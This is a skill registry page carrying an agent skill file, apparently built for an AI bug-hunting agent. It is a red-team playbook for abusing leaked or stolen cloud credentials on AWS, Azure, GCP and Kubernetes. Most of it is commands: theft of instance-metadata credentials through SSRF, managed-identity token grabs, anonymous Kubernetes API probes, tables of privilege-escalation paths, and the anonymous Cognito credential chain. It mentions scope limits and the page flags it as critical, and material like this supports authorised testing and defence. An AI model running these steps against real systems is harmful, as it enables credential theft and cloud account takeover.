CtrlK
BlogDocsLog inGet started
Tessl Logo

cloud-iam-deep

Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.

67

Quality

82%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

When to use

Trigger when:

  • A cloud credential surfaces (key, secret, token, JSON file)
  • SSRF chain reaches IMDS / metadata endpoint
  • APK / git-leak reveals embedded cloud key
  • Recon shows public S3/GCS/Azure-blob with permissions you can verify
  • A Kubernetes API or service-account token is exposed
  • Post-RCE on a cloud-hosted instance — pivot to cloud control plane

Do NOT use for:

  • On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
  • Web2 vulns that happen to be on AWS — use the relevant hunt-* skill

Credential identification (first 60 seconds)

# AWS access key patterns
AKIA[0-9A-Z]{16}                # IAM user access key (long-term)
ASIA[0-9A-Z]{16}                # STS temporary credential
AGPA[0-9A-Z]{16}                # IAM group
AIDA[0-9A-Z]{16}                # IAM user (user-id)
AROA[0-9A-Z]{16}                # IAM role
ANPA[0-9A-Z]{16}                # Managed policy

# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40}              # AWS secret access key

# Azure
AccountKey=[A-Za-z0-9+/=]{86}   # Storage account key
client_secret pattern + UUID    # Azure AD app credential

# GCP service account JSON
{
  "type": "service_account",
  "project_id": "...",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----..."
}

# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1...     # decode kid claim to see issuer

AWS — read-only validation (the safe first step)

# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."

# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name

# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5

# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self>          # inline policies
aws iam list-groups-for-user --user-name <self>

# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head

# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20

AWS privesc patterns (24+ documented — iam_privesc techniques)

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:

You haveEscalate via
iam:CreateAccessKeyCreate access key on any user → impersonate
iam:CreateLoginProfileSet a console password on a user → login
iam:UpdateLoginProfileReset console password on a user
iam:AttachUserPolicyAttach AdministratorAccess to self
iam:AttachGroupPolicyAttach AdministratorAccess to a group you're in
iam:AttachRolePolicy + sts:AssumeRoleAttach to a role you can assume
iam:PutUserPolicyInline AdministratorAccess to self
iam:PutGroupPolicyInline policy on a group
iam:PutRolePolicyInline on a role you can assume
iam:AddUserToGroupAdd self to admin group
iam:UpdateAssumeRolePolicy + sts:AssumeRoleModify trust to allow self
iam:CreatePolicyVersionCreate v2 of an attached policy with admin
iam:SetDefaultPolicyVersionSwitch attached policy to admin version
iam:PassRole + ec2:RunInstancesLaunch EC2 as admin role → use instance creds
iam:PassRole + lambda:CreateFunction/InvokeFunctionRun code as admin role
iam:PassRole + cloudformation:CreateStackCF stack creates resources as admin
iam:PassRole + glue:CreateDevEndpointNotebook runs as admin role
iam:PassRole + datapipelinePipeline runs as admin role
iam:PassRole + codestar:CreateProjectNew project gets admin role
ec2:RunInstances (with admin instance profile already on the AMI)Spin instance, exfil creds from IMDS
lambda:UpdateFunctionCode (function has admin role)Replace code → exfil creds
lambda:UpdateFunctionConfigurationAdd layer / env var that exfils
cloudformation:UpdateStackModify stack to grant self admin
sts:AssumeRole (where trust allows you)Direct privilege jump

Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.


AWS — STS / cross-account / role chaining

# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs

# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Verify
aws sts get-caller-identity  # should now show OTHER_ACCT

# Re-enumerate from new identity (chain continues)

Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. If ExternalId is not required, anyone can assume the role.


AWS IMDSv1 / IMDSv2 abuse via SSRF

# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.

Azure — credential validation

# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity

# Who am I?
az account show

# Subscriptions
az account list --output table

# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table

# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table

Azure — Managed Identity abuse

# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Get token for Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data

Azure privesc patterns

You haveEscalate via
Microsoft.Authorization/roleAssignments/write on tenantSelf-assign Owner
Microsoft.Authorization/roleDefinitions/writeModify role def to add powers
Microsoft.Compute/virtualMachines/runCommand/actionRun command on VM (with VM's MI)
Microsoft.KeyVault/vaults/secrets/getSecret/actionRead all KV secrets
Microsoft.Storage/storageAccounts/listkeys/actionRead all storage blobs
Microsoft.Web/sites/publishxml/actionGet publish profile → RCE on app
Microsoft.Web/sites/host/listkeys/actionFunc app key → RCE via function trigger
Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.DirectoryGrant self Global Admin

GCP — service account JSON

# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json

# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project

# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
  --flatten="bindings[].members" \
  --format="table(bindings.role)" \
  --filter="bindings.members:<sa-email>"

# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head

GCP privesc patterns

You haveEscalate via
iam.serviceAccounts.getAccessToken on higher-priv SAGet token for that SA
iam.serviceAccounts.implicitDelegationChain through delegate SAs
iam.serviceAccounts.signBlob / signJwt on higher SAForge JWT for that SA
iam.serviceAccountKeys.createCreate new key for any SA → impersonate
iam.serviceAccounts.setIamPolicyGrant self impersonation rights
iam.roles.update (on custom role)Add admin permissions to a role you have
cloudfunctions.functions.update (function runs as high-priv SA)Replace code → exfil creds
cloudfunctions.functions.call + aboveTrigger replacement
compute.instances.setMetadataAdd ssh-keys metadata → SSH as root
compute.instances.setServiceAccountAttach higher-priv SA to instance
cloudbuild.builds.create (build runs as project SA)Build executes attacker code
deploymentmanager.deployments.createResources created as DM SA

GCP IMDS attack (via SSRF or post-RCE)

# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

Kubernetes — exposed API / SA token

# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"

# Anonymous binding (system:anonymous user) — surprisingly common
curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"

# If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A

K8s privesc patterns

You haveEscalate via
pods/exec on high-priv podexec into pod with admin SA token
pods/create + serviceaccounts/useCreate pod mounting admin SA token
secrets/getRead any service-account token in cluster
clusterrolebindings/createGrant self cluster-admin
roles/escalate or clusterroles/escalateAdd permissions to role
nodes/proxyProxy to kubelet on any node → exec via kubelet
bind verb on rolesBind a role you don't have to a subject
impersonate on users/groups/SAsOperate as another principal

Tooling reference

ToolCloudPurpose
PacuAWSFull red-team framework, 100+ modules
enumerate-iam.pyAWSBrute-force list of API calls to discover permissions
PMapperAWSVisualize privesc paths as graph
CloudFoxAWSRecon-focused (enumerate resources, no privesc)
ProwlerAWS/Azure/GCPCompliance scanning + enumeration
ScoutSuiteAWS/Azure/GCP/OCIMulti-cloud audit
AzureHoundAzureBloodHound-style graph for Azure
MicroBurstAzureAzure-specific recon and abuse modules
ROADtoolsAzureEntra ID enumeration toolkit
GCPBucketBruteGCPGCS bucket permission enumeration
gcpwnGCPGCP-specific exploitation framework
PeiratesK8sContainer/cluster exploitation toolkit
kube-hunterK8sAuto-scan cluster from inside/outside
kubectl-traceK8sTrace processes (post-foothold)

Anti-patterns

  • DO NOT run write/delete operations without explicit OK — IAM mutation is destructive and audit-visible
  • DO NOT enumerate everything in scope of an accountaws iam list-users against an account with 50,000 users is loud and slow
  • DO NOT use aws * with non-test creds without confirming you have the right account — accidentally hitting prod = career risk
  • DO NOT confuse "I have the credential" with "this credential is current" — always check expiration / rotation via STS first
  • DO NOT assume an STS token from one account works across accounts — region restrictions and trust policies apply
  • DO NOT skip CloudTrail/Activity Log awareness — every API call is logged; pair with mid-engagement-ir-detection
  • DO NOT pivot deeper than the SOW allows — discovering admin creds doesn't mean using them; some engagements are read-only

Bridge to neighboring skills

  • hunt-cloud-misconfig — finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)
  • hunt-ssrf — SSRF→IMDS is the canonical chain into cloud control plane
  • apk-redteam-pipeline — APK secret extraction commonly yields cloud creds
  • supply-chain-attack-recon — CI/CD pipelines store cloud creds; finding them is a separate workflow
  • m365-entra-attack — Azure cross-product; Managed Identity tokens cross over to Graph
  • mid-engagement-ir-detection — cloud control plane activity is monitored; expect mitigations

Severity scoring guidance

FindingSeverity
AWS access key with *:* in policy → confirmed adminCritical
GCP SA JSON with roles/owner on production projectCritical
Azure MI on internet-exposed VM with Owner roleCritical
Leaked cred with read-only on prod data storeHigh (or Critical depending on data sensitivity)
Leaked cred with privesc path but no admin yetHigh
Leaked cred — read access only to non-sensitiveMedium
Anonymous public bucket — listing onlyLow/Medium
Anonymous bucket — write permissionHigh

Cleanup discipline (deliverable hygiene)

If during the engagement you:

  • Used sts:AssumeRole to chain — note the role names and times in IoCs
  • Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
  • Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems

Cloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.


AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)

AWS Cognito has two distinct services often confused: User Pools (auth provider) and Identity Pools (federated identity → IAM credentials). Identity Pools can be configured with "Enable access to unauthenticated identities" — which gives ANY anonymous caller an IAM role via cognito-identity:GetIdcognito-identity:GetCredentialsForIdentity. Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.

Step 1 — Discover the IdentityPoolId

The IdentityPoolId is a public identifier by AWS design (<region>:<UUID> format). The find:

# JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .

# Mobile APK (after jadx decompile)
grep -rEi "identity[_-]?pool[_-]?id" decoded/
grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/

# Also check
amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map

Wayback CDX captures, GitHub code-search for the apex domain + IdentityPoolId, and JS chunks linked from index.html are the high-yield search corpora.

Step 2 — GetId (unauth)

aws cognito-identity get-id \
  --identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
  --region us-east-1 \
  --no-sign-request

--no-sign-request is critical — tells the CLI not to look for ambient AWS credentials. Returns {"IdentityId": "us-east-1:<uuid>"}. If this returns NotAuthorizedException, unauth identities are disabled — stop, not exploitable.

Step 3 — GetCredentialsForIdentity

aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:<returned-uuid> \
  --region us-east-1 \
  --no-sign-request

Returns real STS credentials with ~1 hour TTL: AccessKeyId (ASIA…), SecretKey, SessionToken, Expiration.

Step 4 — Confirm role ARN

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity

Returns role ARN like arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials. Account ID is now disclosed.

Step 5 — Enumerate role permissions

Direct (rare):

aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role

Blackbox (the normal case) — fire a permission probe across high-value services and observe AccessDenied vs success. Pacu's iam__enum_permissions --role-name <name> brute-forces ~500 IAM actions; enumerate-iam.py by Andrés Riancho covers ~1000. Common over-permissions: s3:Get*/s3:List*, dynamodb:Scan, lambda:InvokeFunction, appsync:GraphQL, cognito-idp:AdminCreateUser, iam:PassRole, kms:Decrypt.

Severity rubric

FindingSeverityJustification
Unauth role with *:* or AdministratorAccessCritical (9.8+)Full AWS account takeover
Unauth role with s3:Get* / s3:List* on production customer buckets, or dynamodb:Scan on user tablesCritical (9.1-9.8)Mass PII / data breach
Unauth role with appsync:GraphQL on production API, or lambda:InvokeFunction on internal lambdasCritical (9.0)Authenticated backend access
Unauth role with cognito-idp:Admin* on the linked User PoolCritical (9.1)Mass ATO primitive
Unauth role with iam:PassRole + create-functionCritical (9.8)Documented priv-esc to admin
Unauth role with s3:PutObject on web-hosting bucketHigh (8.1)Stored XSS / supply-chain
Unauth role with kms:Decrypt on a customer CMKHigh (7.5-8.5)Depends on ciphertext reachability
Unauth role with read-only on a single hardcoded non-sensitive resourceMedium (5.3)Limited business impact
Unauth identities enabled but role policy denies everythingInformationalBest-practice deviation only

Disclosed cases / authoritative writeups

  1. Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023) — original research establishing the attack class. GetCredentialsForIdentity against unauth pools with default * policies. andresriancho.com
  2. Rhino Security Labs — Pacu cognito__enum_identity_pools module — production tooling that automates Steps 1-5 of the chain. github.com/RhinoSecurityLabs/pacu
  3. NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. notsosecure.com
  4. HackTricks Cloud — aws-cognito-unauthenticated-enum — canonical playbook covering Steps 1-5. cloud.hacktricks.wiki
  5. Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020) — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had cognito-idp:AdminConfirmSignUp + AdminUpdateUserAttributes on the linked User Pool — silent confirmation of any signup + email change = mass ATO.
  6. Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. securitylabs.datadoghq.com

Reporting tip

Always include in the report:

  • sts get-caller-identity output (proves the role ARN + account ID)
  • Pacu iam__enum_permissions JSON output (proves the granted actions)
  • A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)

Without all three, triagers downgrade to Medium. The 60-second test is GetId → GetCredentialsForIdentity → sts get-caller-identity. If you reach step 3 anonymously, you have a finding.

Cross-reference: hunt-cloud-misconfigCloudWatch RUM weaponization covers the specific RUM-embedded variant of this attack class.


Related Skills & Chains

  • hunt-ssrf — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token → cloud-iam-deep privilege-escalation patterns reach prod S3 / Secrets Manager.
  • hunt-cloud-misconfig — Public buckets and exposed configs are the most common credential-leak vector. Chain primitive: Cloud misconfig (.env in public S3) + leaked AWS access key → IAM enumeration → iam:PassRole chain to admin.
  • supply-chain-attack-recon — CI/CD often holds long-lived deploy credentials. Chain primitive: Exposed GitHub Actions OIDC misconfig + assume-role permission → cloud-iam-deep cross-account role assumption.
  • m365-entra-attack — Azure Managed Identity overlaps Entra service principals. Chain primitive: SSRF on Azure App Service → Managed Identity token → m365-entra-attack Graph API enumeration → cross-tenant escalation.
  • security-arsenal — Load the Cloud IAM Privilege-Escalation Payload Pack (24+ AWS, 8+ Azure, 6+ GCP escalation patterns with aws cli one-liners).
  • triage-validation — Apply the Server-State-vs-Policy gate: a permissive IAM policy alone is not a finding; demonstrate actual privileged action (e.g., read prod secret, create cross-account role) before reporting.
Repository
elementalsouls/Claude-BugHunter
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.